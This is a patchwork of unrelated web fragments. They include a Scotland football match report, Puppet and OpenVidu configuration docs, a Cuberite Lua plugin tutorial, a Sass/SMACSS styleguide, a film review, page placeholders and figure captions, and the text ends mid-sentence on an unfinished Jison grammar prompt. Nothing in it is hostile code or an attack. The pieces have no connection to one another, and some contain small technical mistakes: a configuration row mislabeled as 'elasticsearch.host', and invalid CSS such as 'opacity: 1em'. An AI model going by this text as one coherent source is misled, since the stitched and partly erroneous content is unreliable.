Big Scott McKenna looked short of sharpness in Cyprus on Saturday afternoon and here he was again being made to look foolish as he backed off Zainutdinov as he ran towards him.
The Aberdeen centre-back didn’t have defensive partner Declan Gallagher close enough to him, either. But McKenna should have sensed the danger and charged out to make a block.
As it was he did nothing and the Kazakhstan attacker was able to pick his spot. In fairness, the one he picked couldn’t have been much better with keeper David Marshall left rooted as the ball was whipped past him and into the back of the net.
But it was just yet another goal conceded which had the fans gasping in frustration and exasperation. Clarke has bemoaned the fact his team struggle to keep clean sheets and here was another one gone.
It could have been worse before half-time - Forrest could have sustained a serious injury after Aibol Abiken brought him down by raking his studs along his Achilles.
Celtic and Scotland physio Tim Williamson was first on the scene and you couldn’t help think his club gaffer, Neil Lennon, would have been sending subliminal messages to him to get the winger off.
But Forrest was able to run off the knock and play on.
Scotland had to raise their game for the second half and that’s exactly what they did to level the game three minutes after the break.
Naismith was brought down on the edge of the Kazak penalty box with McGinn grabbing the ball and responsibility of the set piece situation.
It was too close to the goal to be curled over the wall.
So McGinn got his head down and smashed it, with his blasted shot clipping off skipper Bauyrzhan Islamkhan on its way into the net.
The game was there to be won again and Scotland came close to taking the lead soon after the equaliser went in.
Forrest missed the target with a good chance before Naismith passed up two opportunities he could have done better with.
But there was much more impetus about the team with the visitors backing off in their own half.
Scotland’s second goal arrived in 64 minutes.
Liam Palmer combined with Christie down the right with the defender’s cross deflecting up into the air. The Kazak keeper looked favourite to get to it but Naismith jumped highest to head home.
McGinn then sealed this win with a second on the night for himself as he finished off a neat move on stoppage time.


Resource Type: address_object
- Defined in:
- lib/puppet/type/address_object.rb
- Providers:
-
address_object
Overview
Manage the configuration of Oracle Solaris address objects
Properties
-
address
A literal IP address or a hostname corresponding to the local end-point. An optional prefix length may be specified. Only valid with an address_type of 'static'
-
address_type
The type of address object to create. Valid values are static, dhcp, addrconf.
Supported values:- static
- dhcp
- addrconf
- from_gz
- inherited
- vrrp
-
down
Specifies that the configured address should be marked down. Only valid with an address_type of 'static'.
Supported values:- true
- false
-
enable
Specifies the address object should be enabled or disabled. This property is only applied temporarily, until next reboot.
Supported values:- true
- false
-
ensure
(defaults to: present)
The basic property that the resource should be in.
Supported values:- present
- absent
-
hostname
Specifies the hostname to which the client would like the DHCP server to map the client's leased IPv4 address. Only valid with an address_type of 'dhcp'
-
interface_id
Specifies the local interface ID to be used for generating auto-configured addresses. Only valid with an address_type of 'addrconf' Interface ID is a valid IPv6 64-bit hex identifier such as ::1a:2b:3c:4d fe80::1a:2b:3c:4d 2001:0db8:85a3:0000:0000:8a2e:0370:7334
-
remote_address
A literal IP address or a hostname corresponding to an optional remote end-point. An optional prefix length may be specified. Only valid with an address_type of 'static'
-
remote_interface_id
Specifies an optional remote interface ID to be used for generating auto-configured addresses. Only valid with an address_type of 'addrconf' Interface ID is a valid IPv6 64-bit hex identifier such as ::1a:2b:3c:4d fe80::1a:2b:3c:4d 2001:0db8:85a3:0000:0000:8a2e:0370:7334
-
routername
A literal IP address or a hostname. Specifies the VRRP router name this vrrp address is created for. For l2 type VRRP router, 'routername' is optional as the VRRP router name can be directly derived from the interface (VRRP VNIC) this address is created on. But it will be vali- dated if specified. For l3 type VRRP router, this option is mandatory.
-
seconds
Specifies the amount of time in seconds to wait until the operation completes. Only valid with an address_type of 'dhcp'. Valid values are a numerical value in seconds or 'forever'
Supported values:- /^\d+$/
- forever
-
stateful
Specifies if stateful auto-configuration should be enabled or not.
Supported values:- yes
- no
-
stateless
Specifies if stateless auto-configuration should be enabled or not.
Supported values:- yes
- no
Parameters
-
name (namevar)
The name of the address object or interface.
-
temporary
Optional parameter that specifies that the address object is temporary. Temporary address objects last until the next reboot.
Supported values:- true
- false


Login
Login with username and password
Username
Password
visibility_off
Log In
Don't have an account?
SignUp


Trader Viktor:
Find Magister Marina in the Ivory Tower of Oren. Don't forget to show her the letter that I gave you. She is an expert in this area.


Writing a Cuberite plugin
This article will explain how to write a basic plugin. It details basic requirements for a plugin, explains how to register a hook and bind a command, and gives plugin standards details.
Let us begin. In order to begin development, we must firstly obtain a compiled copy of Cuberite, and make sure that the Core plugin is within the Plugins folder, and activated. Core handles much of the Cuberite end-user experience and gameplay will be very bland without it.
Creating the basic template
Plugins are written in Lua. Therefore, create a new Lua file. You can create as many files as you wish, with any filename - Cuberite bungs them all together at runtime, however, let us create a file called main.lua for now. Format it like so:
PLUGIN = nil function Initialize(Plugin) Plugin:SetName("NewPlugin") Plugin:SetVersion(1) -- Hooks PLUGIN = Plugin -- NOTE: only needed if you want OnDisable() to use GetName() or something like that -- Command Bindings LOG("Initialised version " .. Plugin:GetVersion()) return true end function OnDisable() LOG("Shutting down...") end
Now for an explanation of the basics.
- function Initialize is called on plugin startup. It is the place where the plugin is set up.
- Plugin:SetName sets the name of the plugin.
- Plugin:SetVersion sets the revision number of the plugin. This must be an integer.
- LOG logs to console a message, in this case, it prints that the plugin was initialised. This will add a prefix with the name of your plugin.
- The PLUGIN variable just stores this plugin's object, so GetName() can be called in OnDisable (as no Plugin parameter is passed there, contrary to Initialize). This global variable is only needed if you want to know the plugin details (name, etc.) when shutting down.
- function OnDisable is called when the plugin is disabled, commonly when the server is shutting down. Perform cleanup and logging here.
Registering hooks
Hooks are things that Cuberite calls when an internal event occurs. For example, a hook is fired when a player places a block, moves, logs on, eats, and many other things. For a full list, see the API documentation.
A hook can be either informative or overridable. In any case, returning false will not trigger a response, but returning true will cancel the hook and prevent it from being propagated further to other plugins. An overridable hook simply means that there is visible behaviour to a hook's cancellation, such as a chest being prevented from being opened. There are some exceptions to this where only changing the value the hook passes has an effect, and not the actual return value, an example being the HOOK_KILLING hook. See the API docs for details.
To register a hook, insert the following code template into the "-- Hooks" area in the previous code example.
cPluginManager.AddHook(cPluginManager.HOOK_NAME_HERE, FunctionNameToBeCalled)
What does this code do?
- cPluginManager.AddHook registers the hook. The hook name is the second parameter. See the previous API documentation link for a list of all hooks.
So in total, this is a working representation of what we have so far covered.
function Initialize(Plugin) Plugin:SetName("DerpyPlugin") Plugin:SetVersion(1) cPluginManager.AddHook(cPluginManager.HOOK_PLAYER_MOVING, OnPlayerMoving) LOG("Initialised " .. Plugin:GetName() .. " v." .. Plugin:GetVersion()) return true end function OnPlayerMoving(Player) -- See API docs for parameters of all hooks return true -- Prohibit player movement, see docs for whether a hook is cancellable end
So, that code stops the player from moving. Not particularly helpful, but yes :P. Note that ALL documentation is available on the main API docs page, so if ever in doubt, go there.
Binding a command
Format
So now we know how to hook into Cuberite, how do we bind a command, such as /explode, for a player to type? That is more complicated. We firstly add this template to the "-- Command bindings" section of the initial example:
-- ADD THIS IF COMMAND DOES NOT REQUIRE A PARAMETER (/explode) cPluginManager.BindCommand("/commandname", "permissionnode", FunctionToCall, " - Description of command") -- ADD THIS IF COMMAND DOES REQUIRE A PARAMETER (/explode Notch) cPluginManager.BindCommand("/commandname", "permissionnode", FunctionToCall, " ~ Description of command and parameter(s)")
What does it do, and why are there two?
- PluginManager:BindCommand binds a command. It takes the command name (with a slash), the permission a player needs to execute the command, the function to call when the command is executed, and a description of the command.
So why are there two? Standards. A plugin that accepts a parameter MUST use a format for the description of " ~ Description of command and parms" whereas a command that doesn't accept parameters MUST use " - Description of command" instead. Be sure to put a space before the tildes or dashes. Additionally, try to keep the description brief and on one line on the client.
Parameters
What parameters are in the function Cuberite calls when the command is executed? A 'Split' array and a 'Player' object.
The Split Array
The Split array is an array of all text submitted to the server, including the actual command. Cuberite automatically splits the text into the array,
so plugin authors do not need to worry about that. An example of a Split array passed for the command, "/derp zubby explode" would be:
   /derp (Split[1])
   zubby (Split[2])
   explode (Split[3])
   The total amount of parameters passed were: 3 (#Split)
The Player Object and sending them messages
The Player object is basically a pointer to the player that has executed the command. You can do things with them, but most common is sending a message. Again, see the API documentation for fuller details. But, you ask, how do we send a message to the client?
There are dedicated functions used for sending a player formatted messages. By format, I refer to coloured prefixes/coloured text (depending on configuration) that clearly categorise what type of message a player is being sent. For example, an informational message has a yellow coloured [INFO] prefix, and a warning message has a rose coloured [WARNING] prefix. A few of the most used functions are listed here, but see the API docs for more details. Look in the cRoot, cWorld, and cPlayer sections for functions that broadcast to the entire server, the whole world, and a single player, respectively.
-- Format: §yellow[INFO] §white%text% (yellow [INFO], white text following it) -- Use: Informational message, such as instructions for usage of a command Player:SendMessageInfo("Usage: /explode [player]") -- Format: §green[INFO] §white%text% (green [INFO] etc.) -- Use: Success message, like when a command executes successfully Player:SendMessageSuccess("Notch was blown up!") -- Format: §rose[INFO] §white%text% (rose coloured [INFO] etc.) -- Use: Failure message, like when a command was entered correctly but failed to run, such as when the destination player wasn't found in a /tp command Player:SendMessageFailure("Player Salted was not found")
Those are the basics. If you want to output text to the player for a reason other than the three listed above, and you want to colour the text, simply concatenate "cChatColor.*colorhere*" with your desired text, concatenate being "..". See the API docs for more details of all colours, as well as details on logging to console with LOG("Text").
Final example and conclusion
So, a working example that checks the validity of a command, and blows up a player, and also refuses pickup collection to players with >100ms ping.
function Initialize(Plugin) Plugin:SetName("DerpyPluginThatBlowsPeopleUp") Plugin:SetVersion(9001) cPluginManager.BindCommand("/explode", "derpyplugin.explode", Explode, " ~ Explode a player"); cPluginManager:AddHook(cPluginManager.HOOK_COLLECTING_PICKUP, OnCollectingPickup) LOG("Initialised " .. Plugin:GetName() .. " v." .. Plugin:GetVersion()) return true end function Explode(Split, Player) if (#Split ~= 2) then -- There was more or less than one argument (excluding the "/explode" bit) -- Send the proper usage to the player and exit Player:SendMessage("Usage: /explode [playername]") return true end -- Create a callback ExplodePlayer with parameter Explodee, which Cuberite calls for every player on the server local HasExploded = false local ExplodePlayer = function(Explodee) -- If the player name matches exactly if (Explodee:GetName() == Split[2]) then -- Create an explosion of force level 2 at the same position as they are -- see API docs for further details of this function Player:GetWorld():DoExplosionAt(2, Explodee:GetPosX(), Explodee:GetPosY(), Explodee:GetPosZ(), false, esPlugin) Player:SendMessageSuccess(Split[2] .. " was successfully exploded") HasExploded = true; return true -- Signalize to Cuberite that we do not need to call this callback for any more players end end -- Tell Cuberite to loop through all players and call the callback above with the Player object it has found cRoot:Get():FindAndDoWithPlayer(Split[2], ExplodePlayer) if not(HasExploded) then -- We have not broken out so far, therefore, the player must not exist, send failure Player:SendMessageFailure(Split[2] .. " was not found") end return true end function OnCollectingPickup(Player, Pickup) -- Again, see the API docs for parameters of all hooks. In this case, it is a Player and Pickup object if (Player:GetClientHandle():GetPing() > 100) then -- Get ping of player, in milliseconds return true -- Discriminate against high latency - you don't get drops :D else return false -- You do get the drops! Yay~ end end
Make sure to read the comments for a description of what everything does. Also be sure to return true for all command handlers, unless you want Cuberite to print out an "Unknown command" message when the command gets executed :P. Make sure to follow standards - use CoreMessaging.lua functions for messaging, dashes for no parameter commands and tildes for vice versa, and finally, the API documentation is your friend!
Happy coding ;)


Our Stoy
I'm a paragraph. Click here to add your own text and edit me.
We Love Our Animal ans What We Do!
I'm a paragraph. Click here to add your own text and edit me.
I'm a paragraph. Click here to add your own text and edit me.
I'm a paragraph. Click here to add your own text and edit me.


It's actually not that horrible, but it does suffer from some serious problems:
Start with SMACSS, take hints from where other people have improved on it, and learn from where they've gone astray.
Jonas has shared the pdf with most of us, but this section offers a little breakdown so we can all start on the same page.
(Nav down for SMACSS, continue right if you're familiar.)
SMACSS is a way to organize your stylesheet(s) by categorizing your rules; each category then follows certain rules.
Snook - the author of SMACSS - gives us five categories:
Base, Layout, Module, State, and Theme.
We aren't really concerned with Theme, but understanding the other four will give us a huge leg up.
Base is where we define our elements and default styles. The main rule here is it shouldn't contain any classes (or IDs) - element, descendent, child, attribute, and/or pseudo-class selectors only.
This is also the place to @import
our reset or normalization.
/* sass/_base.scss */
body, form {
margin: 0;
padding: 0;
}
a {
color: #039;
}
a:hover {
color: #03F;
}
Out of the box, SMACSS uses the Layout category to house high-level single-use selectors that define content areas and positioning (e.g. #header
). It can also house alternate layouts for these selectors based on wrapper classes, like .l-fixed #header
and .l-fluid #header
.
/* sass/_layout.scss */
#header, #article, #footer {
width: 960px;
margin: auto;
}
Handling layout is probably the most contentious part of this process. We'll come back to this a few times.
Modules are the reusable, standalone components that make up the site: cards, dialogs, lead lists, etc.
Two big rules:
/* sass/module/_cup.scss */
.cup {
display: block;
padding: 5px 10px;
background-color: #003366;
}
.cup-glass {
@extend .cup;
background-color: #0066cc;
}
This cup is a glass.
States represent modules, layouts, and elements in various states. They override default styles, and can be applied globally or as module states.
.is-hidden
belong in the _states.scss
file.
/* sass/_states.scss */
.is-hidden {
position: absolute;
overflow: hidden;
clip: rect(0 0 0 0);
height: 1px; width: 1px;
margin: -1px; padding: 0; border: 0;
}
/* sass/module/_beer.scss */
.is-beer-cold {
opacity: 0.5;
height: 100%;
}
SMACSS (and OOCSS) both support a multi-class approach to styling elements. Need a brown cup module? Throw .cup
and .brown
on there.
That's ugly and hard to maintain.
We could use @extend
to add the .brown
class to cup (a la LESS), but then we end up with those properties duplicated in our stylesheet.
Not so with %placeholder
patterns.
OOSass is a combination of OOCSS and Sass put together by Ian Storm Taylor. The biggest takeaway from his article is the idea of using "patterns".
%separator {
border-top: 1px solid black;
}
hr {
@extend %separator;
}
.separated {
@extend %separator;
}
Gives us:
hr, .separated {
border-top: 1px solid black;
}
Using %placeholders
with @extend
, you can address two of SMACSS's big concerns:
@extend
(i.e. classes are rendered, placeholders aren't)Cribbed from Taylor, this creates a lip above the content underneath it.
/* sass/_patterns.scss */
%lip {
clear: both;
display: block;
height: 5px;
background: url('/public/images/patterns/lip/lip.png') no-repeat;
background-size: 100% 100%;
}
/* sass/module/_beer.scss */
.beer-rim {
@extend %lip;
opacity: 0.5;
height: 100%;
}
Envato is using a modified SMACSS/BEM combo. The way they handle child positioning is appalling, but they have some good ideas.
Andrew Colclough expands on the Envato approach with a style guide in Objects in Space.
Pretty much straight SMACSS:
@import _normalize.scss
.Envato eschews the SMACSS Layout section entirely. Everything that is not a Base style or a global State is in a module.
Why?
Envato has a great set of rules for Modules:
>
) to minimize depth of applicability.width
, position
, and margin
assume knowledge of the container - width: 100%
or inline everythingThey engage in some serious HTML ugliness to decouple CSS for nested components:
Really?
What.
Each mixin gets its own file in the mixins
directory. This also applies to mixin libraries like Compass.
sass/
mixins/
_embiggen.scss
_vertical-rhythm.scss
compass/
Even our grid framework is just a module.
Envato is using Suzy, which allows them to define grid placement within classes instead of using additional markup to position ui elements (a la Foundation).
.page__sidebar {
@include span-columns(3, 12);
}
.page__content {
@include span-columns(9 omega, 12);
}
Parents positioning their child elements within themselves.
First, every module that positions its children is now reliant on the grid module. Sure, you don't just get rid of your grid without consideration, but it's a big dependency and not a Base style.
Second, as noted earlier, they end up requiring tons of additional markup anyway. Why go through the trouble of using grid @extends
if you're simply creating additional positioning classes?
Harry is a badass and wrote an article a few months ago about 'scope' in CSS. There's a lot to take away.
CSS doesn't have scope, so loose selectors, like .name
, are not explicit and lead to cross-naming and property leaking.
Often, this is just a case of poor naming and not scope, but adopting the idea of (at least) quasi-scoping addresses a lot of problems.
/* sas-dir/module/_beer.scss */
.beer {
opactiy: 0.5;
}
.name {
font-size: 2em;
}
Within _beer.scss
, we have the class .name
. It's meant to be part of the beer module, but if someone employs .name
anywhere, we're going to pull our hair out. Global scope.
This seems like the easy solution:
/* sas-dir/module/_beer.scss */
.beer {
.name {
}
}
Now these .name
styles apply only inside the scope of .beer
. Solved.
Given that last bit, Sass will churn out:
.beer {
}
.beer .name {
}
Which is expected. The problem is that it's bad.
Mainly, we don't want unnecessary specificity.
So what now?
/* sas-dir/module/_beer.scss */
.beer {
opacity: 1em;
}
.beer__name {
border-radius: 2px;
}
If we treat modules like namespaces, and name our selectors with BEM-style naming, we can quasi-scope our CSS - leaving us with perfectly specific, reusable classes that only apply when we want them to and don't compete for property inheritance.
By combining BEM-style scoping with placeholder patterns, we can build out our scoped modules without having to worry about adding additional 'global' classes.
.beer {
@extend %amber;
opacity: 1em;
}
Not
Beer
Remember, modules have no notion of their position, so we shouldn't be using markup like class="beer left"
anyway, which is the most prevalent anti-pattern.
Dale Sande has an awesome article about building a UI from the inside out and avoiding pitfalls early on. There's a lot going on and a lot missing, but some choice bits to keep in mind.
sass/
buttons/
color/
forms/
layouts/
modules/
typography/
ui_patterns/
_config.scss
_global_design.scss
_reset.scss
style.scss
Dale gets more atomized than we might want to at first, separating out base styles into their own directories. This is dependent less on best practice, I think, and more on necessity. Let's explode these and see what's going on.
sass/
buttons/
_buttons.scss
forms/
_forms.scss
typography/
_typography.scss
_global_design.scss
Element partials map to our Base (partials being underscore prefixed files that get imported into your Sass manifest) - they create our UI foundation like establishing our baseline styles, vertical rhythm, etc.
Element partials might import mixins, other partials, and placeholders, but they themselves are purely presentational. That is, they don't establish any Sass functionality.
sass/
buttons/
_extends.scss
_functions.scss
_mixin.scss
_buttons.scss
modules/
registration/
_extends.scss
_functions.scss
_mixin.scss
_module_registration.scss
Sometimes modules and elements require Sass functions that aren't easily abstracted to the whole. Instead of fighting it and trying to build abstractable mixins, embrace it - just keep it organized and standardized.
And if it can be reused, make it a general mixin/function/pattern.
Dale gets a little convoluted with his distinction between modules and UI patterns (neither mapping exactly to what we've talked about). His rules for both, however, are spot on:
All modules should be name-spaced by the semantic name of the module itself.
.registration {}
or .purchase {}
for example. If the sub-module is exclusive to the primary module then it would extend the name like so, .purchase_summary {}
.
Keep in mind that at the level we are working at it is scoped to the module itself. Keeping the selectors shallow will encourage reuse throughout the application without causing additional engineering. If you find yourself engineering complex UIs within the module, this may be an opportunity to abstract into a mixin or silent placeholder selector.
Our Base is full of element partials that lay the UI foundation. Modules are standalone elements that are unaware of their containers. So how do we start assembling the page without additional markup?
We treat layouts as a scope.
Inside of our layout directory, we have several files named after our different views. In those files, we have a namespace named for the view, prefixed with 'layout' for clarity (e.g. .layout-dashboard
). We then nest (I know, I know - bear with me a little longer) any modules that view utilizes and define their positioning using @extend
, mixins, or by hand. Finally, we dynamically apply the appropriate class to body
, and voila:
Standalone, reusable modules without any container assumptions that are perfectly positioned without additional markup.
/* sass/layouts/_layout-countertop.scss */
.layout-countertop.scss {
.beer {
@include span-columns(3);
}
.cheeseboard {
@include span-columns(8, omega);
}
}
<body class="layout-countertop">
Alcohol.
Cheddar.
</body>
You made it. The actual proposed structure and styleguide.
sass/
layout/
module/
_base.scss
_patterns.scss
_states.scss
_variables.scss
app.scss
At it's simplest, the Radius UI would be organized into the main SMACSS components: Base, Module, State, and Layout. Onto that, we will also add the concept of Patterns.
A variables partial and manifest are also going to be necessary!
sass/
layout/
libraries/
mixins/
module/
_base.scss
_functions.scss
_patterns.scss
_states.scss
_variabls.scss
'Global' non-presentation Sass could start in the appropriate files and be separated out into directories as a single-file management becomes unwieldy (e.g. mixins/
, libraries/
, _functions.scss
, and _patterns.scss
).
Base is where we define our UI foundation. The main rule here is it won't contain anything other than element, descendent, child, attribute, and/or pseudo-class selectors.
We will also import our normalization in this file, not the manifest - normalization is not modular, it defines our element foundation, even if it's an import.
/* sass/_base.scss */
body, form {
margin: 0;
padding: 0;
}
a:hover {
color: #03F;
}
input[type=text] {
font-weight: 300;
}
As the app grows, we may need to expand Base to include more robust styles, mixins, functions, patterns, or external libraries. The key rules for expanding are:
Modules are the reusable, standalone components that make up the site.
/* sass/modules/beer/_beer.scss */
.beer {
height: 1pt;
color: amber;
opacity: 0.4;
}
.beer__name {
font-size: 1.618rem;
}
.beer__foam {
color: beige;
weight: bold;
padding: 1em;
}
Modules may also include their own mixins, patterns, functions, and states. The rule for expansion here is this:
Everybody gets one.
Any module addenda stays in the _module.scss
file until we have more than one of a type. When that happens break the group out into their own file and import it at the top of the module. (e.g. one mixin stays, two states get broken out into _module-states.scss
in the module's directory).
If you can abstract any module addenda to apply globally (a cool pattern), do it - but don't force it. Embrace the scope.
States represent modules, layouts, and elements in various states. They override default styles, and can be applied globally or as module states.
.is-hidden
belong in the _states.scss
file.
/* sass/_states.scss */
.is-hidden {
position: absolute;
overflow: hidden;
clip: rect(0 0 0 0);
height: 1px; width: 1px;
margin: -1px; padding: 0; border: 0;
}
/* sass/module/_beer.scss */
.is-beer-cold {
opacity: 0.5;
height: 100%;
}
I suggest we follow the layout pattern described on this slide. It separates presentation and position without modules requiring any knowledge of their parents or Envato-style nightmare markup.
/* sass/layouts/_layout-countertop.scss */
.layout-countertop.scss {
.beer {
@include span-columns(3);
}
.cheeseboard {
@include span-columns(8, omega);
}
}
Our _patterns.scss
partial will hold all of our UI placeholder properties.
As a warning, module-specific patterns are allowed; however, patterns help describe the foundational properties of the UI, right after elements. If you are making a lot of module-specific patterns, take a step back, it might be a bad sign.
Cribbed from Ian Taylor, this creates a lip above the content underneath it.
/* sass/_patterns.scss */
%lip {
clear: both;
display: block;
height: 5px;
background: url('/public/images/patterns/lip/lip.png') no-repeat;
background-size: 100% 100%;
}
# sass/module/_beer.scss
.beer-rim {
@extend %lip;
opacity: 0.5;
height: 100%;
}
sass/
layout/
_layout-dashboard.scss
_layout-yp.scss
libraries/
mixins/
_vertical-rhythm.scss
module/
beer/
_beer.scss
_beer-states.scss
_base.scss
_functions.scss
_patterns.scss
_states.scss
_variables.scss
app.scss
I know that was a bit of a haul, and there are some sticky points.
Let's talk, raise questions, and nail this.


---
layout: post
title: ''
date: '2008-04-09T00:59:38-07:00'
tags:
tumblr_url: http://alexhwilliams.tumblr.com/post/31222283/ryanadams-my-afternoon-whatever-i-felt-like
---
my afternoon. whatever. i felt like making something. no props. no script today and i am very tired from writing new tunes and making my incredibly bad films. so this will have to do. just imagine you went shopping with crazy. and you can press stop when you get tired of crazy. thats how i deal with me. ha.


--- layout: page title: "Mixed media" permalink: /mixed-media/ thumb_crop: true ---
{{ gallery.title }}


OpenVidu Server Pro configuration parameters
OpenVidu Pro provides all of OpenVidu CE configuration parameters, but also includes some extra parameters of its own.
| Parameter | Description | Default value |
|---|---|---|
openvidu.pro.license |
License key of your OpenVidu Pro account. This parameter is mandatory to launch OpenVidu Pro clusters. Sign up now to get your free trial! |
|
openvidu.pro.cluster |
Whether to launch OpenVidu in cluster mode or not. See Scalability section to learn more | false |
openvidu.pro.cluster.id |
Unique identifier of your cluster. Each OpenVidu Server Pro instance corresponds to one cluster. You can launch as many clusters as you want with your license key. Cluster ID will always be stored to disk so restarting OpenVidu Server Pro will keep the same previous cluster ID if this configuration parameter is not given a distinct value | A random string |
openvidu.pro.cluster.environment |
Where is OpenVidu Pro cluster deployed. This way OpenVidu Pro will be able to manage the infrastructure on its own. Can be: [docker , aws , on_premise ]. See Scalability section to learn more |
docker (suitable for development environments) |
openvidu.pro.cluster.mode |
Mode of cluster management. Can be auto (OpenVidu manages Media Nodes on its own. Parameter kms.uris is ignored) or manual (user must manage Media Nodes. Parameter kms.uris is used: if any uri is provided it must be valid) |
auto |
openvidu.pro.cluster.autodiscovery |
Whether to automatically add all running Media Nodes in reach of OpenVidu Pro or not. This is openvidu.pro.cluster.environment dependant and only enabled if openvidu.pro.cluster.mode is set to auto |
true |
openvidu.pro.cluster.media-nodes |
The desired number of Media Nodes on startup. First the autodiscovery process is performed. If there are too many Media Nodes after that, they will be dropped until this number is reached. If there are not enough, more will be launched. This only takes place if openvidu.pro.cluster.mode is set to auto |
1 |
openvidu.pro.cluster.load-strategy |
What parameter should be used to distribute the creation of new sessions (and therefore distribution of load) among all available Media Nodes. Can be: • streams : load calculated counting the number of media streams flowing through the Media Node• sessions : load calculated counting the number of OpenVidu sessions hosted by the Media Node• mediaObjects : load calculated counting the number of low-level media objects inside the Media Node (WebRtc streams, RTSP streams, recorder endpoints... any low-level media processing element). This is the most accurate measure, but it also requires asking each Media Node to return their internal information each time load is calculated |
streams |
openvidu.pro.cluster.path |
Path where OpenVidu Server Pro will manage cluster-related files. This includes: looking for custom infrastructure management scripts and storing temporal output files with instances information | /opt/openvidu/cluster |
openvidu.pro.cluster.test |
If true, OpenVidu Server Pro will perform a quick test on startup to check the clustering features: it will launch a Media Node, connect to it and finally drop it. OpenVidu Server Pro logs will inform about the test execution in detail. Immediately after finishing the test, OpenVidu Server Pro process will terminate with an exit code of 0 if the test was successful and 1 if it failed. This property is extremely useful to test that your OpenVidu Pro deployment is working fine | false |
openvidu.pro.elasticsearch.host |
URL where the Elasticsearch service of OpenVidu Pro stack is listening. OpenVidu Pro will send to that URL useful statistics of your sessions. If this parameter is explicitly set to an empty string, OpenVidu Pro will not send any data to Elasticsearch. If it is defined, then it is mandatory that OpenVidu Pro is able to establish a connection to it or start up process will fail. By default OpenVidu Pro deployments have an Elasticsearch installation in localhost | http://localhost:9200 |
openvidu.pro.elasticsearch.host |
URL where the Kibana service of OpenVidu Pro stack is listening. You can visualize Elasticsearch data in Kibana with the default dashboards provided by OpenVidu Pro, or you can create your own dashboards to better fit your necessities. If this parameter is explicitly set to an empty string, OpenVidu Pro will not connect to Kibana. If it is defined, then it is mandatory that OpenVidu Pro is able to establish a connection to it or start up process will fail. By default OpenVidu Pro deployments have a Kibana installation in localhost | http://localhost:5601 |
openvidu.pro.stats.monitoring-interval |
Interval in seconds for CPU, memory and net usage stats gathering in OpenVidu Server Pro host. Set it to 0 for no gathering at all | 30 |
openvidu.pro.stats.webrtc-interval |
Interval in seconds for WebRTC stats gathering from Media Nodes WebRTC endpoints. Set it to 0 for no gathering at all | 30 |
Example:
java -Dopenvidu.secret=YOUR_SECRET -Dopenvidu.publicurl=https://my.openvidu.server.ip:4443/ -Dopenvidu.cdr=true -Dopenvidu.pro.cluster=true -Dopenvidu.pro.cluster.load-strategy=streams -Dopenvidu.pro.cluster.mode=auto -Dopenvidu.pro.cluster.media-nodes=3 -Dopenvidu.pro.stats.webrtc-interval=0 -jar openvidu-server-pro.jar


WARNING: Contains mild spoilers!
Rating: * * out of * * * *
Rated: R for strong violence/gore, language, and sexuality.
Running Time: 100 minutes
Starring: Jennifer Morrison, Joseph Laurence, Matthew Davis, Hal Bochner, Anson Mount, Eva Mendez, Jessica Cauffiel, Anthony Anderson, Loretta Devine, Michael Bacall.
Directed by: John Ottman
Out of all the rip-offs of Wes Craven's instant 1996 classic "Scream" and including it's sequels, only two really stood out as being original. The first was 1997's "I Know What You Did Last Summer" which was followed by a lame sequel, and the second is 1998's "Urban Legend" which went on to gross more than $38 million dollars, a nice sum for a low-budget horror film. Of course the ending left it open for a sequel, but one would hope they wouldn't make one. Surprise...they did anyway, and this time it has nothing to do with the original, well it does, but it doesn't.
Amy Mayfield is a student at the Alpine University, majoring in film. She worked on a few of somebody elses, but her main goal is to make her own movie. After hearing a story about a university, where the students were murdered based on Urban Legends, she herself decides to make a movie called what else? Urban Legends. Everything goes well, her film starts production, but when she finds a reel of film she didn't make, showing a murder, Amy starts to suspect something isn't right. Once the people working on her production start to get killed in the style of urban legends, Amy knows there is a killer after her, and she has to try to stop him before he gets to her.
Of course there is the usual refereces to urban legends, and the plot developments of the story. Wait...we're missing something, oh yeah character development duh! I should have known that, but wait where is it at? Oh yeah there is none! Thats the biggest flaw of the entire movie, is the lack of character development. When the movie first starts, we go into a comedic opening sequence, and are introduced to the characters, of course we know who they are as in names, and we know what they do, but we don't know anything about them.
In her first starring role, Jennifer Morrison, is great as the film student Amy. She brings out the most she can of her character, and does a credible job of playing her. Matthew Davis is in dual roles, as the bland Travis/Trevor, and doesn't really add much to the film, except a gratitous sex scene. Joey Lawrence is pointless in his role, but adds much to the comic relief. The two or actually three biggest standouts of the movie is the George Lucas fan duo, Michael Bacall and Anthony Anderson are extremely funny, and add much to the film, but not much to the story. Finally Loretta Devine is the standout of the movie, and should get much credit to saving this movie from being a bust.
The direction by John Ottman is very stylish, and since he is an editor and composer, he of course, edited and composed this movie. Both are very nice, and the score is a standout, when this dvd comes out, I would like to see a isolated score, just to hear this, because it adds much to the tight atmosphere. The movie itself, is never scary, excluding one scene that has to do with the tub, ice and kidney. This was very gruesome and quite intense. John Ottman did a good job on the techinal well-making, that he forgot to add more excitement and suspense.
Overall the movie is entertaining throughout, and merits at least one watch. The killer is fun to guess, and I was surprised at who it was, although the motive is laughable. At the end, they change the slasher ending into something different, and the end of the movie before the credits role, I thought was extremely funny and very clever. The standout scene of the movie is the end, and at the end of the movie, I turned to my friend and said "That was ok, nothing special, but nothing bad". It deserves one watch, if not two. It really has nothing to do with the original, and really is pointless, but for what it's worth it isn't that bad.
Reviewed by Brandon Herring 9/23/00
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Created by Luis Ibanez / @luisibanez
An inexpensive computer
designed to empower
a new generation of developers.
simpleServerWithHandler.py
simpleServerWithHandler.py
simpleServerWithHandler.py
MyCameraHandler
Call Subprocess
Include image in response


| Fig 6 |
Word shift graphs for 3 of the saddest days in the climate t ... |
| Fig 4 |
Word shift graphs for three of the happiest days in the clim ... |
| Fig 5 |
Example tweets on the happiest and saddest days for climate ... |
| Fig 3 |
A word shift graph comparing the happiness of tweets contain ... |
| Fig 8 |
Decay rates of the words “hurricane” (top) and “climate” (bo ... |
| Fig 2 |
Average happiness of tweets containing the word “climate” fr ... |
| Fig 10 |
Left: Happiness time series plot for unfiltered tweets (red ... |
| Fig 7 |
Frequency of the word “hurricane” (top) and “tornado” (botto ... |
| Fig 1 |
The daily raw frequencies (top) and relative frequencies (bo ... |
| Fig 9 |
Happiness time series plots for tweets containing the word “ ... |


Consider the following Jison grammar:
